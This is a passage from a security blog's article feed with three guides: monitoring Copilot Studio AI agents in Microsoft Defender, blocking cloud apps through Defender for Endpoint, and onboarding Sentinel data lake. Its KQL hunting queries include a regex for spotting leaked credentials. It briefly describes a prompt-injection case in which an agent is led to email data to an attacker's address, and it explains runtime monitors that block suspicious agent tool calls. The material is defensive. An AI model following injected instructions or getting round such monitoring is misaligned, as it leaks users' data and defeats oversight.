in Power Platform, wait about a minute before saving in the Defender portal: propagation takes a moment and you’ll get a validation error if you’re too fast.\nImportant: Real-time protection currently only applies to agents using generative orchestration. Classic agents that use fixed, deterministic flows are not covered.\nHunt for risky agents with advanced hunting Once the AI agent inventory is live, you can use advanced hunting to look for misconfigurations and risky Copilot Studio agents.\nThe AIAgentsInfo table in the Apps \u0026amp; identities section contains data for all discovered agents. You can write custom queries or use the pre-built community queries:\nGo to Investigation \u0026amp; response \u0026gt; Hunting \u0026gt; Advanced hunting In the Queries tab, open Community queries The AI agents folder contains ready-made queries for common risk scenarios The misconfigurations below are all detectable via this table and are worth running as a first sweep after the inventory comes online.\nWhat happens when a threat is detected When Defender for Cloud Apps flags a suspicious Copilot Studio agent prompt or tool invocation:\nThe tool call is blocked before it runs The end user gets a notification that their message was blocked An alert is created in the Defender portal under XDR incidents and alerts The alert is correlated with other XDR signals, so your SOC gets full incident context With the Microsoft 365 connector active, these alerts also land in the unified incident queue alongside endpoint, identity, and cloud alerts.\nCommon Copilot Studio agent misconfigurations Getting the monitoring in place is step one. What you’ll actually find in the inventory is often more concerning than expected. These are the most common misconfigurations to look for once you have the AIAgentsInfo table available.\nAgents without authentication\nWhen no authentication is configured on a Copilot Studio agent, it doesn’t authenticate as the user interacting with it. It authenticates as the creator. That means any user of that agent can effectively access resources and data as the maker, including things they wouldn’t normally have access to. Agents intended for internal use should always require authentication. Use this query to find them:\nKQLAIAgentsInfo | summarize arg_max(Timestamp, *) by AIAgentId | where AgentStatus != \u0026#34;Deleted\u0026#34; | where UserAuthenticationType == \u0026#34;None\u0026#34; | project-reorder AgentCreationTime, AIAgentId, AIAgentName, AgentStatus, CreatorAccountUpn, OwnerAccountUpns Microsoft’s recommendation: confirm with the owner whether public access is intentional, and review all topics, actions, and knowledge sources to ensure no sensitive data is exposed.\nAgents without an owner\nEvery published agent should have a designated owner: someone accountable for what it does and what it has access to. Agents without an owner are a governance gap: if something goes wrong, there’s no one to contact and no one managing its lifecycle. Find them with:\nKQLAIAgentsInfo | where AgentStatus == \u0026#34;Published\u0026#34; | where isempty(OwnerAccountUpns) | project AgentCreationTime, AIAgentName, AIAgentId, CreatorAccountUpn, OwnerAccountUpns Hard-coded credentials in topics or actions\nAgents with credentials hard-coded into their topics or actions can expose those credentials to unintended parties: anyone who can read the agent configuration or intercept its traffic. This is a pattern that’s easy to introduce quickly and hard to spot manually at scale. The query below scans for common credential patterns including API keys, tokens, and basic auth strings:\nKQLlet suspicious_patterns = @\u0026#34;(AKIA[0-9A-Z]{16})|(AIza[0-9A-Za-z_\\-]{35})|(xox[baprs]-[0-9a-zA-Z]{10,48})|(ghp_[A-Za-z0-9]{36,59})|(sk_(live|test)_[A-Za-z0-9]{24})|(SG\\.[A-Za-z0-9]{22}\\.[A-Za-z0-9]{43})|(\\d{8}:[\\w\\-]{35})|(eyJ[A-Za-z0-9_\\-]+\\.[A-Za-z0-9_\\-]+\\.[A-Za-z0-9_\\-]+)|(Authorization\\s*:\\s*Basic\\s+[A-Za-z0-9=:+]+)|([A-Za-z]+:\\/\\/[^\\/\\s]+:[^\\/\\s]+@[^\\/\\s]+)\u0026#34;; AIAgentsInfo | summarize arg_max(Timestamp, *) by AIAgentId | where AgentStatus != \u0026#34;Deleted\u0026#34; | mv-expand tool = AgentToolsDetails | mv-expand topic = AgentTopicsDetails | where isnotempty(tool) and isnotempty(topic) | where tool matches regex suspicious_patterns or topic matches regex suspicious_patterns | extend SuspiciousMatchTool = tool, SuspiciousMatchTopic = topic | project-reorder AgentCreationTime, AIAgentId, AIAgentName, AgentStatus, CreatorAccountUpn, OwnerAccountUpns, SuspiciousMatchTool, SuspiciousMatchTopic If credentials are needed, the right approach is to store them in Azure Key Vault and retrieve them at runtime via environment variables, not embed them in the agent configuration.\nEmail actions with AI-controlled recipients\nThis one is particularly relevant for agents using generative orchestration. If an agent can send email and the recipient address is determined dynamically by the LLM rather than hard-coded, a successful prompt injection attack (XPIA) can instruct the agent to forward data to an attacker-controlled address. This query finds agents in that configuration:\nKQLAIAgentsInfo | summarize arg_max(Timestamp, *) by AIAgentId | where AgentStatus != \u0026#34;Deleted\u0026#34; | extend IsGenAIOrchestrator = tostring(todynamic(RawAgentInfo).Bot.Attributes.configuration) has \u0026#39;\u0026#34;GenerativeActionsEnabled\u0026#34;: true\u0026#39; | where IsGenAIOrchestrator | mvexpand Action = AgentToolsDetails | extend OperationId = tostring(Action.action.operationId), ActionName = tostring(Action.modelDisplayName) | where OperationId == \u0026#34;SendEmailV2\u0026#34; | where isempty(Action.inputs) | project-reorder AgentCreationTime, AIAgentId, AIAgentName, AgentStatus, CreatorAccountUpn, OwnerAccountUpns, ActionName If a hard-coded recipient isn’t feasible, at minimum confirm with the owner that the use case warrants AI-controlled addressing and document it.\nAgents using MCP tools\nModel Context Protocol (MCP) tools give agents access to external resources and APIs. That’s powerful, but each MCP server is an additional attack surface, and agents connecting to MCP servers that are no longer needed, or that were added without security review, represent unnecessary exposure. Use this to get an overview:\nKQLAIAgentsInfo | summarize arg_max(Timestamp, *) by AIAgentId | where AgentStatus != \u0026#34;Deleted\u0026#34; | mvexpand Action = AgentToolsDetails | where Action.action.operationDetails[\u0026#34;$kind\u0026#34;] == \u0026#34;ModelContextProtocolMetadata\u0026#34; | extend MCPName = Action.action.operationDetails[\u0026#34;operationId\u0026#34;] | summarize MCPTools = make_set(MCPName) by AIAgentName, AIAgentId, EnvironmentId, CreatorAccountUpn Follow up with the agent owner on each MCP tool and remove any that are no longer required.\nHTTP actions on nonstandard ports\nAgents making HTTP requests to ports other than 80 or 443 are worth investigating. It could indicate the agent is calling internal services, non-standard APIs, or infrastructure that shouldn’t be accessible via an agent. Find them with:\nKQLAIAgentsInfo | summarize arg_max(Timestamp, *) by AIAgentId | where AgentStatus != \u0026#34;Deleted\u0026#34; | mvexpand Topic = AgentTopicsDetails | where Topic has \u0026#34;HttpRequestAction\u0026#34; | extend TopicActions = Topic.beginDialog.actions | mvexpand action = TopicActions | where action[\u0026#39;$kind\u0026#39;] == \u0026#34;HttpRequestAction\u0026#34; | extend Url = tostring(action.url.literalValue) | extend ParsedUrl = parse_url(Url) | extend Port = tostring(ParsedUrl[\u0026#34;Port\u0026#34;]) | where isnotempty(Port) and Port != 443 | project-reorder AgentCreationTime, AIAgentId, AIAgentName, ParsedUrl, Url, Port, AgentStatus, CreatorAccountUpn, OwnerAccountUpns Resources: Protect AI agents in Microsoft Defender XDR – Microsoft Learn\nProtect your Copilot Studio AI agents (Preview) – Microsoft Learn\nDiscover and protect your AI agents (Preview) – Microsoft Learn\nReal-time protection during agent runtime (Preview) – Microsoft Learn\nWrapping up If your organization is building agents in Copilot Studio, or you expect business users to start, Microsoft Defender for Cloud Apps AI agent monitoring is worth setting up before you’re flying blind. The inventory alone gives you visibility into what’s running. Real-time protection goes further by actively blocking suspicious activity at the moment it happens.\nLoop in your Power Platform admin, enable the preview features, and get the inventory running. It’s a quick setup for a threat surface that most security teams aren’t watching yet.\n","date":"20 December 2025","externalUrl":null,"permalink":"/defender-for-cloud-apps-ai-agent-monitoring/","section":"All articles","summary":"","title":"Microsoft Defender for Cloud Apps: AI agent monitoring and real-time protection","type":"posts"},{"content":"Shadow IT remains one of the biggest challenges for security teams. Users access cloud applications daily without IT awarenes, shady AI tooling, file sharing services, or apps that don’t meet compliance requirements like SOC 2 or ISO 27001.\nWith the integration between Microsoft Defender for Cloud Apps and Microsoft Defender for Endpoint, you can proactively block apps on your endpoints before users even access them. This goes beyond monitoring: you can automatically block apps based on their risk score, category (like Generative AI), or specific compliance and security attributes.\nIn this guide, I’ll walk you through the complete setup, prerequisites, and how to create policies that automatically block risky or unwanted apps.\nHow it works When you mark an app as Unsanctioned in Defender for Cloud Apps, the domains associated with that app are automatically synced to Defender for Endpoint as custom URL indicators. From there, Network Protection blocks access at the endpoint level, this happens on all onboarded devices running Microsoft Defender Antivirus with Network Protection enabled.\nThe integration works like this:\nYou mark an app as Unsanctioned in Defender for Cloud Apps (manually or via policy) The domains used by that app sync to Defender for Endpoint (up to 1 hour) Defender for Endpoint creates custom URL indicators for those domains The indicators propagate to your endpoint devices (up to 2 hours) Network Protection blocks access when users try to reach those domains Total maximum latency: up to 3 hours from marking an app as unsanctioned to actual blocking on devices. In practice it’s often faster, but plan for the full window if you’re doing time-sensitive blocking.\nOne important limitation: blocking works at the domain level, not full URL paths. So drive.google.com can be blocked, but google.com/drive will not work. Keep this in mind when planning your blocking strategy.\nHow is this different from Web Content Filtering? Both use Network Protection for enforcement, but they serve different purposes:\nWeb Content Filtering (WCF) blocks based on URL categorie, broad classifications like “Adult Content,” “Gambling,” “Social Networking,” or “High Bandwidth.” It’s category-based filtering where you block entire types of websites.\nDefender for Cloud Apps blocking is app-specific. The Cloud App Catalog contains over 31,000 apps, each scored on more than 90 risk factors across security, compliance, legal, and general categories. You’re not blocking “all cloud storage”, you’re blocking specific apps that don’t meet your security requirements while allowing others.\nOrder of Precedence When multiple web protection features are configured, they’re evaluated in this order:\nPriority Feature Action 1 (Highest) Custom Indicators (includes Defender for Cloud Apps policies) Allow 2 Custom Indicators Warn 3 Custom Indicators Block 4 Web Threats (malware, phishing) Block 5 (Lowest) Web Content Filtering Block This means if you have a Web Content Filtering policy blocking “Cloud Storage” but you’ve sanctioned a specific app like OneDrive in Defender for Cloud Apps, OneDrive will still be accessible because custom indicators (Allow) take precedence over WCF.\nPrerequisites Licensing You need one of the following combinations:\nMicrosoft Defender for Cloud Apps + Microsoft Defender for Endpoint Plan 2 Microsoft 365 E5 Microsoft Defender for Endpoint with Microsoft Defender for Business Microsoft Defender for Endpoint Configuration The following must be enabled on your devices:\nSetting Location Required State Real-time protection Microsoft Defender Antivirus Enabled Cloud-delivered protection Microsoft Defender Antivirus Enabled Network Protection Microsoft Defender for Endpoint Block mode (not Audit) Custom network indicators Settings → Endpoints → Advanced features Enabled Important: Network Protection in Audit mode will log events but won’t actually block anything. Custom network indicators must be enabled or Defender for Cloud Apps won’t be able to create the URL indicators.\nSupported Operating Systems OS Minimum Version Windows Windows 10 version 1809 (RS5) OS Build 17763.379 or higher, Windows 11 macOS Big Sur (11) or higher, with MDE version 20.123072.25.0+ iOS 14.0 or higher Android 8.0 or higher Linux See Microsoft’s specific distro requirements Browser behavior This is where it gets nuanced:\nMicrosoft Edge: Uses SmartScreen directly. Users see a proper block page with your custom message when they hit a blocked app. Network Protection is not required for Edge on Windows, SmartScreen handles it natively.\nChrome, Firefox, Brave, Opera, Safari: Network Protection handles blocking at the network level. Users see a “Secure Connection Failed” error in the browser, plus a Windows/macOS toast notification explaining the block.\nFor Network Protection to properly inspect HTTPS traffic in non-Edge browsers, connections must use TCP/IP (not UDP/QUIC) and the TLS ClientHello must not be encrypted. If you want full coverage, consider deploying browser policies:\nChrome enterprise policies:\nQuicAllowed = false EncryptedClientHelloEnabled = false Firefox policies:\nnetwork.http.http3.enable = false DisableEncryptedClientHello = true About the Microsoft Defender Browser Protection Extension You may see references to the “Microsoft Defender Browser Protection” extension in some Microsoft documentation. This is a consumer-focused browser add-on that provides SmartScreen-like phishing/malware protection to Chrome users.\nFor enterprise customers with Microsoft Defender for Endpoint deployed, this extension is not required for Defender for Cloud Apps blocking to work. Network Protection handles blocking in third-party browsers at the OS level.\nMicrosoft’s guidance for enterprise customers is to use Network Protection rather than the browser extension. The extension is being deprecated for Manifest V3 and provides redundant functionality for MDE-protected devices.\nStep 1: Enable the integration You need to configure settings in two places.\nIn the Defender Portal (Microsoft Defender for Cloud Apps settings) Go to Settings → Cloud Apps → Cloud Discovery → Microsoft Defender for Endpoint Enable Enforce app access Click Save It can take up to 30 minutes for this setting to take effect\nIn the Defender Portal (Endpoint settings) Go to Settings → Endpoints → Advanced features Enable Microsoft Defender for Cloud Apps (for discovery) Enable Custom network indicators (required for blocking) Click Save preferences Without Custom network indicators enabled, the blocking won’t work: Defender for Cloud Apps won’t be able to create the URL indicators that Network Protection uses.\nStep 2: Understanding the Microsoft Defender for Cloud Apps catalog Before you start blocking apps, you need to understand how apps are scored. The Cloud App Catalog contains over 31,000 discoverable cloud apps, each scored from 1-10 based on more than 90 risk factors.\nThe scale: 1 = highest risk, 10 = lowest risk.\nThis trips people up: lower numbers are worse.\nRisk categories Category What It Evaluates General Company stability, domain age, founding year, popularity Security MFA support, encryption at rest, data classification, admin/user audit trails, data ownership Compliance SOC 2, ISO 27001, HIPAA, PCI-DSS, CSA, and other certifications Legal DMCA compliance, data retention policy, GDPR readiness, data ownership terms Viewing the catalog Go to Cloud Apps → Cloud app catalog Use the Category filter on the left to browse by app type (Generative AI, Cloud Storage, etc.) Toggle Advanced filters to filter by specific risk factors For example, to find risky cloud storage apps:\nCategory: Cloud storage Risk score: 5 or lower Compliance risk factor → SOC 2: No Security risk factor → Data-at-rest encryption: Not supported Customizing Risk Score weights If certain factors matter more to your organization, you can adjust the weighting:\nGo to Settings → Cloud Apps → Cloud Discovery → Score metrics Adjust the Importance slider for each category: Ignored, Low, Medium, High, or Very High Enable N/A values checkbox if you want missing information to negatively impact scores Overriding Risk Scores Sometimes you’ve vetted an app internally even though its catalog score is low. You can override scores for specific apps:\nIn the Cloud app catalog, find the app Click the three dots → Override app score Select your custom score Add an App note explaining your justification Step 3: Manually block apps (Unsanction) Block from discovered apps Go to Cloud Apps → Cloud Discovery → Discovered apps tab Find the app you want to block Click the three dots at the end of the row → Unsanctioned Click Save Block from the Cloud App catalog You can also proactively block apps that haven’t been discovered in your environment yet:\nGo to Cloud Apps → Cloud app catalog Find an app (e.g., search for a specific AI tool) Click the three dots → Unsanctioned This is useful for preemptively blocking apps before anyone even tries to use them.\nWhat happens after unsanctioning Once marked as unsanctioned:\nDomains sync to Defender for Endpoint within approximately 1 hour URL indicators are created automatically Indicators propagate to devices within approximately 2 hours Users attempting to access the app get blocked Step 4: Automate Blocking with App Discovery policies Manual blocking doesn’t scale. For proactive protection, create policies that automatically unsanction apps based on your criteria.\nCreate an App Discovery policy Go to Cloud Apps → Policies → Policy management Select the Shadow IT tab Click Create policy → App discovery policy Example policy 1: Block high-risk apps This policy automatically blocks apps with poor risk scores that are actually being used.\nConfiguration:\nName: Block High-Risk Apps Severity: High Under Apps matching all of the following: Risk score: equals 5 or lower Under Trigger a policy match if all the following occur on the same day: Daily traffic: greater than 50 MB Users: greater than 5 Governance actions: Tag app as Unsanctioned The traffic and user thresholds prevent blocking apps that nobody’s actually using.\nExample policy 2: Block all generative AI apps With AI tools proliferating, many organizations want to block unapproved AI apps by default.\nConfiguration:\nName: Block Unapproved AI Apps Severity: Medium Under Apps matching all of the following: Category: equals Generative AI Governance actions: Tag app as Unsanctioned After enabling this policy, manually sanction the AI tools your organization has approved (Microsoft Copilot, ChatGPT Enterprise with your corporate contract, etc.).\nExample policy 3: Compliance-driven blocking Block apps that don’t meet your compliance requirements.\nConfiguration:\nName: Block Non-Compliant Apps Severity: High Under Apps matching all of the following: Compliance risk factor → SOC 2: equals No Users: greater than 10 Governance actions: Tag app as Unsanctioned Example policy 4: Block apps without encryption Configuration:\nName: Block Unencrypted Storage Apps Severity: High Under Apps matching all of the following: Category: equals Cloud storage Security risk factor → Data-at-rest encryption: equals Not supported Governance actions: Tag app as Unsanctioned Policy behavior notes Newly created policies can trigger alerts for apps that already exist in your environment. Microsoft limits this to once per 90 days per app per continuous report. If there’s a conflict between manual governance actions and policy governance, the last operation applied takes precedence. Data from snapshot reports don’t trigger alerts in app discovery policies. Step 5: Block apps for specific Device Groups (Scoped Profiles) Not every block should apply organization-wide. Marketing might need access to design tools that should be blocked for Finance. Scoped profiles let you target blocking to specific Defender for Endpoint device groups.\nImportant: Scoped profiles work with Device Groups only, not User Groups. This is because Microsoft Defender for Endpoint executes the blocking, and MDE works at the device level.\nCreate a Scoped Profile Go to Settings → Cloud Apps → Cloud Discovery → App tags → Scoped profiles tab Click Add profile Configure: Name: Give it a descriptive name (e.g., “Marketing Exception” or “Finance Restrictions”) Description: Document the purpose Type: Choose Include or Exclude Include: Only devices in the selected groups are affected by blocks using this profile Exclude: All devices EXCEPT those in the selected groups are affected Device groups: Select from your Defender for Endpoint device groups Click Save Apply a Scoped Profile when blocking When you unsanction an app:\nIn the Tag as unsanctioned? dialog, you’ll see an option to Select a profile to include or exclude groups from being blocked Choose your scoped profile Click Save The app will only be blocked for devices matching that profile.\nImportant notes on Scoped Profiles Device groups are pulled from Microsoft Defender for Endpoint. Create device groups there first if needed. The scoped profile option only appears if the Win10 Endpoint Users data source has consistently received data during the past 30 days. If you’re using Microsoft Defender for Business instead of full Defender for Endpoint, device groups are managed differently and won’t appear in Defender for Cloud Apps. To change the scoped profile for an already-unsanctioned app, you must first remove the unsanctioned tag, then re-unsanction with the new profile. It can take up to 2 hours for domain changes to propagate to devices after modifying scoping. Step 6: Warn Users instead of blocking (Monitored) Sometimes a hard block is too aggressive. You might want to discourage use without completely preventing access. The Monitored tag provides a warning experience instead of blocking.\nThe three app states Tag Behavior Sync to MDE Sanctioned Allowed Creates Allow indicator Monitored Warn Creates Warn indicator Unsanctioned Blocked Creates Block indicator How warnings work When you tag an app as Monitored:\nThe domains sync to Defender for Endpoint with Action=Warn (usually within a few minutes) Users see a warning page when they try to access the app Users can choose to proceed (bypass the warning) You can track bypass behavior in the Defender portal Configure warning settings Go to Settings → Cloud Apps → Cloud Discovery → Microsoft Defender for Endpoint Configure the following: Notification URL: Enter a URL pointing to a page explaining:\nWhy the app is flagged as risky What approved alternatives exist How to request an exception Bypass duration: Configure how long (in hours) a user can access the app after bypassing the warning before seeing it again. Default is 24 hours.\nTag an app as monitored Go to Cloud Apps → Cloud Discovery → Discovered apps Find the app Click the three dots → Monitored Monitor user behavior Track how many users are bypassing warnings:\nGo to Cloud Apps → Cloud Discovery → Discovered apps Select the monitored app View applied controls and bypass statistics on the app’s overview page High bypass rates indicate either a training opportunity or that you should formally sanction (or fully block) the app.\nStep 7: Customize the block page When users hit a blocked app in Microsoft Edge, they see a block notification. You can customize this experience by providing a link to internal resources.\nConfigure the block page URL Go to Settings → Cloud Apps → Cloud Discovery → Microsoft Defender for Endpoint In the Alerts dropdown, select Informational Under User warnings → Notification URL for blocked apps, enter your URL Point this to a SharePoint page or internal wiki explaining:\nWhy apps get blocked Your organization’s acceptable use policy How to request an exception What approved alternatives exist When users click “Visit the Support page” on the block page, they’ll be redirected to this URL.\nStep 8: Anomaly Detection for Unusual Behavior Beyond policy-based blocking, Defender for Cloud Apps can detect anomalous behavior, like a user who suddenly uploads 600 GB to an app they’ve never used.\nCloud Discovery Anomaly Detection This is enabled by default, but you can fine-tune it:\nGo to Cloud Apps → Policies → Policy management → Shadow IT tab Click Create policy → Cloud Discovery anomaly detection policy Configure: Name: e.g., “Unusual Upload Activity” Filters: Target specific apps, categories, or risk scores Apply to: All continuous reports or specific reports Raise alerts only for suspicious activities occurring after: Set a date Daily alert limit: Prevent alert fatigue Anomaly detection policies alert on unusual behavior but don’t auto-block. They’re early warning signals for investigation.\nApps you cannot block Microsoft prevents blocking certain business-critical services to avoid accidental outages:\nMicrosoft Defender for Cloud Apps Microsoft Defender Security Center Microsoft 365 Security Center Microsoft Defender for Identity Microsoft Purview Microsoft Entra Permissions Management Microsoft Conditional Access Application Control Microsoft Secure Score Microsoft Intune Microsoft Support Microsoft AD FS Help Microsoft Online Services Additionally, apps that are onboarded to inline proxy (Conditional Access App Control) or connected via app connector are automatically set to Sanctioned and cannot be blocked through this mechanism.\nAlternative: Block Script generation for Firewalls If you don’t have Defender for Endpoint deployed everywhere, you can still use Defender for Cloud Apps intelligence with your existing security appliances.\nGenerate a Block Script Tag your target apps as Unsanctioned in Cloud Discovery Go to the Cloud Discovery dashboard Click Actions → Generate block script Select your appliance type (Fortigate, Palo Alto, Cisco, Blue Coat, etc.) Click Generate script Import the generated file into your appliance config webfilter urlfilter edit \u0026lt;ID\u0026gt; config entries edit 1 set url seocontentmachine.com set type simple set action block set status enable end end end Export Domain List For unsupported appliances:\nGo to Cloud Apps → Cloud Discovery → Discovered apps Filter for Unsanctioned apps Use the export capability to export all domains Configure your third-party appliance to block those domains Third-Party Integrations If you use Zscaler NSS, iboss, Corrata, Menlo, or Open Systems, these have native integrations with Defender for Cloud Apps. Apps marked as unsanctioned are automatically blocked. However, these integrations don’t support scoped device group blocking or the warn-and-educate features.\nMonitoring and Hunting Once blocking is in place, monitor what’s happening with Advanced Hunting queries.\nFind blocks from Defender for Cloud Apps in Microsoft Edge KQLDeviceEvents | where ActionType == \u0026#34;SmartScreenUrlWarning\u0026#34; | extend ParsedFields = parse_json(AdditionalFields) | project Timestamp, DeviceName, RemoteUrl, InitiatingProcessFileName, Experience = tostring(ParsedFields.Experience) | where Experience == \u0026#34;CasbPolicy\u0026#34; | summarize BlockCount = count() by RemoteUrl, DeviceName | order by BlockCount desc Find blocks in Non-Edge Browsers (Network Protection) KQLDeviceEvents | where ActionType == \u0026#34;ExploitGuardNetworkProtectionBlocked\u0026#34; | extend ParsedFields = parse_json(AdditionalFields) | project Timestamp, DeviceName, RemoteUrl, InitiatingProcessFileName, ResponseCategory = tostring(ParsedFields.ResponseCategory) | where ResponseCategory == \u0026#34;CasbPolicy\u0026#34; | summarize BlockCount = count() by RemoteUrl, DeviceName | order by BlockCount desc ResponseCategory values ResponseCategory Source CasbPolicy Defender for Cloud Apps CustomPolicy Web Content Filtering CustomBlockList Custom Indicators Malicious Web Threats Phishing Web Threats Find users hitting blocked apps KQLDeviceEvents | where ActionType in (\u0026#34;SmartScreenUrlWarning\u0026#34;, \u0026#34;ExploitGuardNetworkProtectionBlocked\u0026#34;) | extend ParsedFields = parse_json(AdditionalFields) | where tostring(ParsedFields.Experience) == \u0026#34;CasbPolicy\u0026#34; or tostring(ParsedFields.ResponseCategory) == \u0026#34;CasbPolicy\u0026#34; | summarize BlockCount = count(), Apps = make_set(RemoteUrl) by AccountName, DeviceName | order by BlockCount desc Troubleshooting Apps not being blocked Check the following:\nNetwork Protection enabled? Must be in Block mode, not Audit. Check with PowerShell: Get-MpPreference | Select-Object EnableNetworkProtection Value should be 1 (Block). If it’s 0 (Disabled) or 2 (Audit), blocking won’t work. Custom network indicators enabled? Required in Settings → Endpoints → Advanced features Time elapsed? Allow up to 3 hours after unsanctioning Domain vs URL? Full URL paths like google.com/drive won’t work, only domains QUIC enabled? Network Protection can’t inspect QUIC traffic in non-Edge browsers. Disable QUIC protocol via browser policies or Windows Firewall. Verify Indicators were created Go to Settings → Endpoints → Indicators → URLs/Domains Look for the domains from your unsanctioned apps Check the Action (Block/Warn) and scope Check device configuration On an endpoint, verify Network Protection is active:\nPowerShellGet-MpPreference | Select-Object EnableNetworkProtection Value State 0 Disabled 1 Enabled (Block mode) 2 Audit mode Best practices Start with monitoring: Deploy discovery first. Let it run for a few weeks. Understand what apps are actually in use before you start blocking. Nothing kills adoption faster than blocking something the CEO uses daily.\nCreate an exception process: Document how users can request access to blocked apps. Put the link on your block page.\nCommunicate before blocking: Send out communications before enabling blocking policies. Give users time to find alternatives.\nUse Monitored before Unsanctioned: For apps you’re unsure about, start with warnings. If users bypass constantly, you have data to justify either formally approving or fully blocking the app.\nReview policies quarterly: The app landscape changes. New apps appear, existing apps improve their security posture, and your organization’s needs evolve.\nDon’t rely solely on risk scores: A risk score of 6 doesn’t mean an app is safe. It means Microsoft hasn’t found evidence it’s particularly risky. Do your own due diligence for apps handling sensitive data.\nConsider browser configuration: For comprehensive coverage, deploy browser policies to disable QUIC and Encrypted Client Hello in non-Edge browsers.\nTest in scoped groups first: Use device groups to pilot blocking policies before rolling out organization-wide.\nReferences Network protection\nGovern discovered apps using Microsoft Defender for Endpoint\nGovern discovered apps\nIntegrate Microsoft Defender for Endpoint with Microsoft Defender for Cloud Apps\nCloud discovery policies\nCloud app catalog and risk scores\nWeb protection overview\nDownload\nSummary The Defender for Cloud Apps and Defender for Endpoint integration provides proactive, scalable control over Shadow IT:\nEnable the integration in Cloud Apps settings and Endpoint advanced features Understand the catalog and how apps are scored (1-10, lower = riskier) Manually unsanction specific apps for immediate blocking Create App Discovery policies for automated blocking based on risk score, category, or compliance Use scoped profiles for device group-specific blocking Configure warnings (Monitored) for softer enforcement Customize block pages to educate users Monitor with Advanced Hunting to track effectiveness This shifts your security posture from reactive (discovering Shadow IT after the fact) to proactive (blocking risky apps before they become incidents).\n","date":"24 October 2025","externalUrl":null,"permalink":"/block-apps-microsoft-defender-for-cloud-apps/","section":"All articles","summary":"","title":"Proactively Block Cloud Apps (like AI) with Microsoft Defender for Cloud Apps and Defender for Endpoint","type":"posts"},{"content":" Introduction What is Microsoft Sentinel data lake Microsoft Sentinel data lake is a purpose-built, cloud-native security data platform that addresses the fundamental challenge organizations face between comprehensive security coverage and cost sustainability. The platform transforms how organizations manage and analyze security data through:\nUnifying security data across Microsoft Defender XDR, third-party sources, assets, activity logs, and threat intelligence Optimizing costs with tiered storage, on-demand data promotion, and single copy architecture Enabling deep security insights with up to 12 years of queryable security data Powering AI and automation for faster detection and response The business challenge solved Traditional SIEM solutions struggle with the cost and complexity of storing and querying long-term security data. Organizations often face impossible choices between comprehensive security coverage and budget constraints. Microsoft Sentinel data lake solves these challenges through centralized data management, cost-effective storage with significantly lower per-GB costs for historical data, maintained query capabilities ensuring no loss of analytical functionality, and automated data lifecycle management reducing operational overhead.\nTwo-tier architecture benefits Microsoft Sentinel data lake implements a sophisticated two-tier architecture optimized for both cost and performance:\nFeature Analytics tier Data lake tier Key characteristics High-performance querying and indexing (hot/interactive retention) Cost-effective long-term retention (cold storage) Best use cases Real-time analytics rules, alerting, hunting, workbooks, all Sentinel SIEM features Compliance and regulatory logging, historical trend analysis and forensics, low-touch data not needed for real-time alerts Query price included Yes – queries included in ingestion cost No – queries charged separately at $0.005/GB scanned Query performance Optimized – sub-second response for recent data Slower – optimized for large-scale scans, good for auditing Query capabilities Full KQL in Defender and Azure portals via APIs Full KQL on single table with lookup enrichment, scheduled KQL/Spark jobs, Jupyter notebooks Real-time analytics features Yes – all detection rules, alerts, workbooks, hunting queries No – limitations on analytics rules, hunting queries, parsers, watchlists, workbooks, playbooks Search jobs Supported Supported Summary rules Supported Supported – Full KQL on single table, extendable with analytics table lookups Restore capability Supported Not supported Data export Supported Not supported Retention period 90 days (Sentinel) / 30 days (Defender XDR), extendable to 2 years with prorated monthly charge Same as analytics by default, extendable to 12 years Critical Note: Data processing charge ($0.10/GB) applies ONLY to data ingested directly to data lake tier only. Data mirrored from analytics tier incurs NO processing charge.\nKey advantages over Azure Data Explorer (ADX) While Azure Data Explorer remains a powerful platform, it demands significant administrative investment. Organizations using ADX must manually create and maintain table structures, custom functions, monitoring systems, and data mappings. The Sentinel data lake eliminates this operational burden by having Microsoft handle the underlying infrastructure management.\nImpact on Auxiliary logging When organizations enable the Sentinel data lake, auxiliary log tables automatically disappear from both Defender Advanced Hunting and the Microsoft Sentinel portal interface. However, this data isn’t lost. It’s seamlessly migrated to the data lake environment where analysts can access it through KQL queries or Jupyter notebooks. This transition represents an automatic upgrade from auxiliary table storage to a more scalable data lake architecture.\nPrerequisites and requirements Required permissions You need specific roles across different scopes:\nPermission Scope Required Role Purpose Azure Subscription Subscription Owner Billing setup and resource creation Microsoft Entra ID Global Administrator OR Security Administrator Cross-tenant security platform configuration Workspace Level Microsoft Sentinel Reader Access to all participating workspaces Technical prerequisites Infrastructure requirements:\nExisting Azure subscription with billing access Resource group (existing or new) – cannot be changed after setup Microsoft Sentinel workspace(s) in correct region Microsoft Sentinel primary workspace is connected to the Microsoft Defender XDR portal Pricing model Understanding the cost structure of Microsoft Sentinel data lake is essential for planning your implementation and maximizing cost savings. The platform uses a consumption-based pricing model with distinct meters for ingestion, storage, processing, and compute.\nThe pricing model underwent changes as the platform transitioned from public preview to general availability. Most notably, data processing and asset data ingestion now incur charges, though these costs are offset by the substantial savings on storage and the elimination of analytics tier ingestion costs for appropriately routed data.\nCurrent pricing structure Cost component Rate What it covers Data lake ingestion $0.05/GB Data entering data lake tier directly Data processing $0.10/GB All transformations (filtering, normalization, enrichment) Data lake storage $0.026/GB/month Storage beyond 30-day included period (6:1 compression applied) Query execution $0.005/GB Data scanned during KQL queries and jobs Jupyter notebook compute $0.15/compute hour Notebook sessions (cores × session time) Asset data ingestion $0.05/GB Entra ID, Microsoft 365, and Azure asset connector data For comparison – Analytics tier: $2.30-$4.60/GB ingestion (region and commitment dependent)\nCritical pricing notes Included with ingestion:\n30 days of storage included – No separate storage charges for first 30 days No double billing – Data mirrored from analytics tier to data lake incurs no additional ingestion charges Sentinel-specific advantage:\nFiltering exemption – Sentinel workspaces have NO penalty charges for DCR filtering, regardless of volume reduction percentage (Standard Log Analytics charges penalties for filtering \u0026gt;50%) Uniform compression:\n6:1 compression ratio – Applied consistently across all data sources for storage billing October 2025 changes:\nData processing ($0.10/GB) – Now charged (was free during preview) Asset data ingestion ($0.05/GB) – Now charged (was free during preview) Data lake onboarding Step 1: Initiate onboarding process Method 1: Via onboarding banner\nSign in to Microsoft Defender Portal Look for data lake onboarding banner at top of page Click Get started Method 2: Via settings navigation\nNavigate to System → Settings → Microsoft Sentinel → Data lake Click Set up data lake Step 2: Permission validation screen If you encounter the permissions screen, refer to the requirements above for required permissions.\nStep 3: Billing configuration Subscription: Choose billing subscription carefully Resource group: Select or create resource group for data lake resources Click Set up data lake to begin provisioning process.\nStep 4: Monitor setup progress Setup timeline: Refer to the Critical Requirements Reference box above for detailed timeline expectations.\nStep 5: Validate successful completion Success indicators:\nCompletion banner Your data lake is ready with feature access cards New navigation option: Data lake exploration under Sentinel Enhanced Tables management capabilities Jobs section becomes available Data Connectors Microsoft Sentinel data lake works with all existing Sentinel data connectors, 